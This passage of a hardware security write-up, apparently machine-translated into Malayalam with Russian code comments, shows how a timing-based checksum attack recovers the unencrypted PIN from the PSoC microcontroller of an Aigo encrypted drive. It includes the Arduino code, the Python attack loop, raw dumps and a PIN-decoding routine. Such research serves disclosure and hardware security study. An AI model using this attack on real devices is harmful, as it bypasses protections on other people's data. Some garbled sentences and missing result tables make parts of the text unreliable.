[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

ഈ കോഡ് കാലിബ്രേറ്റ്1 (SROM ഫംഗ്‌ഷൻ 9) എന്ന് വിളിക്കുന്നതിലൂടെ ഞങ്ങളുടെ വിലയേറിയ ചെക്ക്‌സം പുനരാലേഖനം ചെയ്യുന്നു... പ്രോഗ്രാമിംഗ് മോഡിൽ പ്രവേശിക്കുന്നതിന് നമുക്ക് മാജിക് നമ്പർ (മുകളിലുള്ള കോഡിന്റെ തുടക്കം മുതൽ) അയച്ച് SRAM വായിക്കാനാകുമോ? അതെ, അത് പ്രവർത്തിക്കുന്നു! ഈ ആക്രമണം നടപ്പിലാക്കുന്ന Arduino കോഡ് വളരെ ലളിതമാണ്:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

1. checkum_delay വായിക്കുക.
2. ചെക്ക്സം കണക്കുകൂട്ടൽ പ്രവർത്തിപ്പിക്കുക (send_checksum_v).
3. ഒരു നിശ്ചിത കാലയളവിനായി കാത്തിരിക്കുക; ഇനിപ്പറയുന്ന പോരായ്മകൾ കണക്കിലെടുക്കുന്നു:
   • അത് എന്താണെന്ന് കണ്ടെത്തുന്നത് വരെ ഞാൻ ഒരുപാട് സമയം പാഴാക്കി മൈക്രോസെക്കൻഡ് വൈകും 16383 μs കവിയാത്ത കാലതാമസത്തോടെ മാത്രം ശരിയായി പ്രവർത്തിക്കുന്നു;
   • മൈക്രോസെക്കൻഡുകളുടെ കാലതാമസം, 0 ഒരു ഇൻപുട്ടായി അതിലേക്ക് നൽകിയാൽ, പൂർണ്ണമായും തെറ്റായി പ്രവർത്തിക്കുന്നുവെന്ന് ഞാൻ കണ്ടെത്തുന്നതുവരെ അതേ സമയം വീണ്ടും ഇല്ലാതാക്കി!
4. പ്രോഗ്രാമിംഗ് മോഡിലേക്ക് PSoC റീബൂട്ട് ചെയ്യുക (ഇനീഷ്യലൈസേഷൻ വെക്റ്ററുകൾ അയയ്ക്കാതെ ഞങ്ങൾ മാജിക് നമ്പർ അയയ്ക്കുക).

പൈത്തണിലെ അവസാന കോഡ്:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

ചുരുക്കത്തിൽ, ഈ കോഡ് എന്താണ് ചെയ്യുന്നത്:

1. PSoC റീബൂട്ട് ചെയ്യുന്നു (അതൊരു മാജിക് നമ്പർ അയയ്ക്കുന്നു).
2. പൂർണ്ണ ഇനീഷ്യലൈസേഷൻ വെക്റ്ററുകൾ അയയ്ക്കുന്നു.
3. Arduino ഫംഗ്‌ഷനെ Cmnd_STK_START_CSUM (0x85) വിളിക്കുന്നു, ഇവിടെ മൈക്രോസെക്കൻഡുകളിലെ കാലതാമസം ഒരു പാരാമീറ്ററായി കൈമാറുന്നു.
4. ചെക്ക്സം (0xF8, 0xF9) എന്നിവയും രേഖപ്പെടുത്താത്ത രജിസ്റ്ററും 0xF1 വായിക്കുന്നു.

ഈ കോഡ് 10 മൈക്രോസെക്കൻഡിൽ 1 തവണ നിർവ്വഹിക്കുന്നു. 0xF1 ഇവിടെ ഉൾപ്പെടുത്തിയിട്ടുണ്ട്, കാരണം ചെക്ക്സം കണക്കാക്കുമ്പോൾ മാറിയ ഒരേയൊരു രജിസ്റ്ററാണിത്. ഒരുപക്ഷേ ഇത് ഗണിത ലോജിക് യൂണിറ്റ് ഉപയോഗിക്കുന്ന ഏതെങ്കിലും തരത്തിലുള്ള താൽക്കാലിക വേരിയബിളായിരിക്കാം. Arduino ജീവന്റെ ലക്ഷണങ്ങൾ കാണിക്കുന്നത് നിർത്തുമ്പോൾ Picocom ഉപയോഗിച്ച് Arduino പുനഃസജ്ജമാക്കാൻ ഞാൻ ഉപയോഗിക്കുന്ന വൃത്തികെട്ട ഹാക്ക് ശ്രദ്ധിക്കുക (എന്തുകൊണ്ടാണെന്ന് അറിയില്ല).

7.2 ഫലം വായിക്കുന്നു

പൈത്തൺ സ്ക്രിപ്റ്റിന്റെ ഫലം ഇതുപോലെ കാണപ്പെടുന്നു (വായനക്ഷമതയ്ക്കായി ലളിതമാക്കിയത്):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

പറഞ്ഞുവരുന്നത്, ഞങ്ങൾക്ക് ഒരു പ്രശ്‌നമുണ്ട്: ഞങ്ങൾ ഒരു യഥാർത്ഥ ചെക്ക്‌സം ഉപയോഗിച്ചാണ് പ്രവർത്തിക്കുന്നത് എന്നതിനാൽ, ഒരു നൾ ബൈറ്റ് റീഡ് മൂല്യം മാറ്റില്ല. എന്നിരുന്നാലും, മുഴുവൻ കണക്കുകൂട്ടൽ നടപടിക്രമവും (8192 ബൈറ്റുകൾ) 0,1478 സെക്കൻഡ് (ഓരോ തവണ പ്രവർത്തിപ്പിക്കുമ്പോഴും ചെറിയ വ്യത്യാസങ്ങളോടെ) എടുക്കുന്നതിനാൽ, ഒരു ബൈറ്റിന് ഏകദേശം 18,04 μs തുല്യമാണ്, ഉചിതമായ സമയങ്ങളിൽ ചെക്ക്സം മൂല്യം പരിശോധിക്കാൻ നമുക്ക് ഈ സമയം ഉപയോഗിക്കാം. ആദ്യ റണ്ണുകൾക്കായി, എല്ലാം വളരെ എളുപ്പത്തിൽ വായിക്കുന്നു, കാരണം കമ്പ്യൂട്ടേഷണൽ നടപടിക്രമത്തിന്റെ ദൈർഘ്യം എല്ലായ്പ്പോഴും ഏതാണ്ട് തുല്യമാണ്. എന്നിരുന്നാലും, ഈ ഡമ്പിന്റെ അവസാനം കൃത്യത കുറവാണ്, കാരണം ഓരോ റണ്ണിലുമുള്ള "ചെറിയ സമയ വ്യതിയാനങ്ങൾ" പ്രാധാന്യമർഹിക്കുന്നു:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

അതായത് ഓരോ മൈക്രോസെക്കൻഡ് കാലതാമസത്തിനും 10 ഡംപുകൾ. ഒരു ഫ്ലാഷ് ഡ്രൈവിന്റെ എല്ലാ 8192 ബൈറ്റുകളും ഡംപ് ചെയ്യുന്നതിനുള്ള മൊത്തം പ്രവർത്തന സമയം ഏകദേശം 48 മണിക്കൂറാണ്.

7.3 ഫ്ലാഷ് ബൈനറി പുനർനിർമ്മാണം

എല്ലാ സമയ വ്യതിയാനങ്ങളും കണക്കിലെടുത്ത് ഫ്ലാഷ് ഡ്രൈവിന്റെ പ്രോഗ്രാം കോഡ് പൂർണ്ണമായും പുനർനിർമ്മിക്കുന്ന കോഡ് എഴുതുന്നത് ഞാൻ ഇതുവരെ പൂർത്തിയാക്കിയിട്ടില്ല. എന്നിരുന്നാലും, ഈ കോഡിന്റെ ആരംഭം ഞാൻ ഇതിനകം പുനഃസ്ഥാപിച്ചു. ഞാൻ അത് ശരിയായി ചെയ്തുവെന്ന് ഉറപ്പാക്കാൻ, m8cdis ഉപയോഗിച്ച് ഞാൻ അത് ഡിസ്അസംബ്ലിംഗ് ചെയ്തു:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

തികച്ചും വിശ്വസനീയമായി തോന്നുന്നു!

7.4 പിൻ കോഡ് സംഭരണ ​​വിലാസം കണ്ടെത്തുന്നു

ഇപ്പോൾ നമുക്ക് ആവശ്യമുള്ള സമയങ്ങളിൽ ചെക്ക്സം വായിക്കാൻ കഴിയുന്നതിനാൽ, അത് എങ്ങനെ, എവിടെയാണ് മാറുന്നത് എന്ന് നമുക്ക് എളുപ്പത്തിൽ പരിശോധിക്കാം:

• തെറ്റായ പിൻ കോഡ് നൽകുക;
• പിൻ കോഡ് മാറ്റുക.

ആദ്യം, ഏകദേശ സ്റ്റോറേജ് വിലാസം കണ്ടെത്താൻ, റീബൂട്ടിന് ശേഷം ഞാൻ 10 എംഎസ് ഇൻക്രിമെന്റുകളിൽ ഒരു ചെക്ക്സം ഡംപ് എടുത്തു. പിന്നെ ഞാൻ തെറ്റായ പിൻ നൽകി അത് തന്നെ ചെയ്തു.

പല മാറ്റങ്ങളും ഉണ്ടായതിനാൽ ഫലം അത്ര സുഖകരമായിരുന്നില്ല. എന്നാൽ അവസാനം, ചെക്ക്സം 120000 µs നും 140000 µs നും ഇടയിൽ എവിടെയെങ്കിലും കാലതാമസം വരുത്തിയതായി എനിക്ക് നിർണ്ണയിക്കാൻ കഴിഞ്ഞു. എന്നാൽ ഞാൻ അവിടെ പ്രദർശിപ്പിച്ച "പിൻകോഡ്" പൂർണ്ണമായും തെറ്റായിരുന്നു - മൈക്രോസെക്കൻഡ് നടപടിക്രമങ്ങളുടെ കാലതാമസത്തിന്റെ ഒരു ആർട്ടിഫാക്റ്റ് കാരണം, അതിലേക്ക് 0 നൽകുമ്പോൾ വിചിത്രമായ കാര്യങ്ങൾ ചെയ്യുന്നു.

തുടർന്ന്, ഏകദേശം 3 മണിക്കൂർ ചെലവഴിച്ചതിന് ശേഷം, SROM സിസ്റ്റം കോളിന് ചെക്ക്‌സം ഒരു ഇൻപുട്ടായി ഒരു ആർഗ്യുമെന്റ് ലഭിക്കുന്നുണ്ടെന്ന് ഞാൻ ഓർത്തു, അത് ചെക്ക്‌സത്തിനുള്ള ബ്ലോക്കുകളുടെ എണ്ണം വ്യക്തമാക്കുന്നു! അത്. PIN കോഡിന്റെ സംഭരണ ​​വിലാസവും "തെറ്റായ ശ്രമങ്ങൾ" കൗണ്ടറും 64-ബൈറ്റ് ബ്ലോക്ക് വരെ കൃത്യതയോടെ നമുക്ക് എളുപ്പത്തിൽ പ്രാദേശികവൽക്കരിക്കാൻ കഴിയും.

എന്റെ പ്രാരംഭ ഓട്ടങ്ങൾ ഇനിപ്പറയുന്ന ഫലം നൽകി:

തുടർന്ന് ഞാൻ പിൻ കോഡ് "123456" എന്നതിൽ നിന്ന് "1234567" ആക്കി മാറ്റി:

അങ്ങനെ, PIN കോഡും തെറ്റായ ശ്രമങ്ങളുടെ കൗണ്ടറും ബ്ലോക്ക് നമ്പർ 126-ൽ സൂക്ഷിച്ചിരിക്കുന്നതായി തോന്നുന്നു.

7.5 ബ്ലോക്ക് നമ്പർ 126-ന്റെ ഒരു ഡംപ് എടുക്കൽ

ബ്ലോക്ക് #126, ചെക്ക്സം കണക്കുകൂട്ടലിന്റെ ആരംഭം മുതൽ, 125x64x18 = 144000μs ചുറ്റളവിൽ എവിടെയെങ്കിലും എന്റെ പൂർണ്ണ ഡമ്പിൽ സ്ഥിതിചെയ്യണം, അത് തികച്ചും വിശ്വസനീയമാണെന്ന് തോന്നുന്നു. തുടർന്ന്, നിരവധി അസാധുവായ ഡമ്പുകൾ സ്വമേധയാ വേർതിരിച്ചെടുത്തതിന് ശേഷം ("ചെറിയ സമയ വ്യതിയാനങ്ങൾ" ശേഖരണം കാരണം), എനിക്ക് ഈ ബൈറ്റുകൾ ലഭിക്കുന്നത് അവസാനിച്ചു (145527 μs ലേറ്റൻസിയിൽ):

PIN കോഡ് എൻക്രിപ്റ്റ് ചെയ്യാത്ത രൂപത്തിലാണ് സൂക്ഷിച്ചിരിക്കുന്നത് എന്നത് വ്യക്തമാണ്! ഈ മൂല്യങ്ങൾ, തീർച്ചയായും, ASCII കോഡുകളിൽ എഴുതിയിട്ടില്ല, എന്നാൽ അത് മാറുന്നതുപോലെ, അവ കപ്പാസിറ്റീവ് കീബോർഡിൽ നിന്ന് എടുത്ത റീഡിംഗുകളെ പ്രതിഫലിപ്പിക്കുന്നു.

അവസാനം, മോശം ശ്രമ കൗണ്ടർ എവിടെയാണ് സംഭരിച്ചിരിക്കുന്നതെന്ന് കണ്ടെത്താൻ ഞാൻ കുറച്ച് പരിശോധനകൾ നടത്തി. ഫലം ഇതാ:

0xFF - "15 ശ്രമങ്ങൾ" എന്നാണ് അർത്ഥമാക്കുന്നത്, ഓരോ പരാജയ ശ്രമത്തിലും ഇത് കുറയുന്നു.

7.6 പിൻ കോഡ് വീണ്ടെടുക്കൽ

മേൽപ്പറഞ്ഞവ ഒരുമിച്ച് ചേർക്കുന്ന എന്റെ വൃത്തികെട്ട കോഡ് ഇതാ:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

അതിന്റെ നിർവ്വഹണത്തിന്റെ ഫലം ഇതാ:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

ഹൂറേ! പ്രവർത്തിക്കുന്നു!

ഞാൻ ഉപയോഗിച്ച ലേറ്റൻസി മൂല്യങ്ങൾ ഒരു നിർദ്ദിഷ്‌ട PSoC-യ്‌ക്ക് പ്രസക്തമാകാൻ സാധ്യതയുണ്ട് - ഞാൻ ഉപയോഗിച്ച ഒന്ന്.

8. അടുത്തത് എന്താണ്?

അതിനാൽ, നമ്മുടെ ഐഗോ ഡ്രൈവിന്റെ പശ്ചാത്തലത്തിൽ പിഎസ്ഒസി വശത്ത് സംഗ്രഹിക്കാം:

• സംരക്ഷിതമായി വായിച്ചാലും നമുക്ക് SRAM വായിക്കാൻ കഴിയും;
• ഒരു കോൾഡ് ബൂട്ട് ട്രെയ്‌സ് അറ്റാക്ക് ഉപയോഗിച്ചും പിൻ കോഡ് നേരിട്ട് വായിച്ചും നമുക്ക് ആന്റി-സ്വൈപ്പ് പരിരക്ഷയെ മറികടക്കാൻ കഴിയും.

എന്നിരുന്നാലും, സമന്വയ പ്രശ്‌നങ്ങൾ കാരണം ഞങ്ങളുടെ ആക്രമണത്തിന് ചില പോരായ്മകളുണ്ട്. ഇത് ഇനിപ്പറയുന്ന രീതിയിൽ മെച്ചപ്പെടുത്താം:

• "കോൾഡ് ബൂട്ട് ട്രേസ്" ആക്രമണത്തിന്റെ ഫലമായി ലഭിച്ച ഔട്ട്പുട്ട് ഡാറ്റ ശരിയായി ഡീകോഡ് ചെയ്യാൻ ഒരു യൂട്ടിലിറ്റി എഴുതുക;
• കൂടുതൽ കൃത്യമായ സമയ കാലതാമസം സൃഷ്ടിക്കാൻ ഒരു FPGA ഗാഡ്‌ജെറ്റ് ഉപയോഗിക്കുക (അല്ലെങ്കിൽ Arduino ഹാർഡ്‌വെയർ ടൈമറുകൾ ഉപയോഗിക്കുക);
• മറ്റൊരു ആക്രമണത്തിന് ശ്രമിക്കുക: മനഃപൂർവ്വം തെറ്റായ പിൻ കോഡ് നൽകുക, റീബൂട്ട് ചെയ്ത് റാം ഡംപ് ചെയ്യുക, താരതമ്യത്തിനായി ശരിയായ പിൻ കോഡ് റാമിൽ സംരക്ഷിക്കപ്പെടുമെന്ന് പ്രതീക്ഷിക്കുന്നു. എന്നിരുന്നാലും, Arduino-യിൽ ഇത് ചെയ്യാൻ അത്ര എളുപ്പമല്ല, കാരണം Arduino സിഗ്നൽ ലെവൽ 5 വോൾട്ട് ആണ്, അതേസമയം ഞങ്ങൾ പരിശോധിക്കുന്ന ബോർഡ് 3,3 വോൾട്ട് സിഗ്നലുകളിൽ പ്രവർത്തിക്കുന്നു.

വായിക്കാവുന്ന പരിരക്ഷയെ മറികടക്കാൻ വോൾട്ടേജ് ലെവലിൽ പ്ലേ ചെയ്യുക എന്നതാണ് രസകരമായ ഒരു കാര്യം. ഈ സമീപനം പ്രവർത്തിക്കുന്നുണ്ടെങ്കിൽ, കൃത്യമായ സമയ കാലതാമസങ്ങളുള്ള ഒരു ചെക്ക്സം വായിക്കുന്നതിന് പകരം ഫ്ലാഷ് ഡ്രൈവിൽ നിന്ന് ഞങ്ങൾക്ക് കൃത്യമായ ഡാറ്റ നേടാനാകും.

SROM ഒരുപക്ഷേ റീഡ്ബ്ലോക്ക് സിസ്റ്റം കോൾ വഴി ഗാർഡ് ബിറ്റുകൾ വായിക്കുന്നതിനാൽ, ഞങ്ങൾക്കും ഇതുതന്നെ ചെയ്യാം വിവരിച്ചു ദിമിത്രി നെഡോസ്പാസോവിന്റെ ബ്ലോഗിൽ - ക്രിസ് ഗെർലിൻസ്കിയുടെ ആക്രമണത്തിന്റെ പുനർനിർമ്മാണം, കോൺഫറൻസിൽ പ്രഖ്യാപിച്ചു "REcon ബ്രസ്സൽസ് 2017".

ചെയ്യാവുന്ന മറ്റൊരു രസകരമായ കാര്യം ചിപ്പിൽ നിന്ന് കേസ് പൊടിക്കുക എന്നതാണ്: ഒരു SRAM ഡംപ് എടുക്കുക, രേഖകളില്ലാത്ത സിസ്റ്റം കോളുകളും കേടുപാടുകളും തിരിച്ചറിയുക.

9. ഉപസംഹാരം

അതിനാൽ, ഈ ഡ്രൈവിന്റെ സംരക്ഷണം ആഗ്രഹിക്കുന്നത് വളരെയധികം അവശേഷിക്കുന്നു, കാരണം ഇത് PIN കോഡ് സംഭരിക്കുന്നതിന് ഒരു സാധാരണ ("കാഠിന്യം" അല്ല) മൈക്രോകൺട്രോളർ ഉപയോഗിക്കുന്നു... കൂടാതെ, ഡാറ്റയുമായി കാര്യങ്ങൾ എങ്ങനെ പോകുന്നു എന്ന് ഞാൻ (ഇതുവരെ) നോക്കിയിട്ടില്ല ഈ ഉപകരണത്തിൽ എൻക്രിപ്ഷൻ!

എയ്‌ഗോയ്‌ക്കായി നിങ്ങൾക്ക് എന്താണ് ശുപാർശ ചെയ്യാൻ കഴിയുക? എൻക്രിപ്റ്റ് ചെയ്ത HDD ഡ്രൈവുകളുടെ രണ്ട് മോഡലുകൾ വിശകലനം ചെയ്ത ശേഷം, 2015 ൽ ഞാൻ നിർമ്മിച്ചു അവതരണം SyScan-ൽ, അതിൽ അദ്ദേഹം നിരവധി ബാഹ്യ HDD ഡ്രൈവുകളുടെ സുരക്ഷാ പ്രശ്‌നങ്ങൾ പരിശോധിക്കുകയും അവയിൽ എന്തെല്ലാം മെച്ചപ്പെടുത്താം എന്നതിനെക്കുറിച്ചുള്ള ശുപാർശകൾ നൽകുകയും ചെയ്തു. 🙂

ഈ ഗവേഷണത്തിനായി ഞാൻ രണ്ട് വാരാന്ത്യങ്ങളും നിരവധി വൈകുന്നേരങ്ങളും ചെലവഴിച്ചു. ആകെ ഏകദേശം 40 മണിക്കൂർ. തുടക്കം മുതൽ (ഞാൻ ഡിസ്ക് തുറന്നപ്പോൾ) അവസാനം വരെ (പിൻ കോഡ് ഡംപ്) എണ്ണുന്നു. അതേ 40 മണിക്കൂറിൽ ഞാൻ ഈ ലേഖനം എഴുതാൻ ചെലവഴിച്ച സമയവും ഉൾപ്പെടുന്നു. വളരെ ആവേശകരമായ ഒരു യാത്രയായിരുന്നു അത്.

അവലംബം: www.habr.com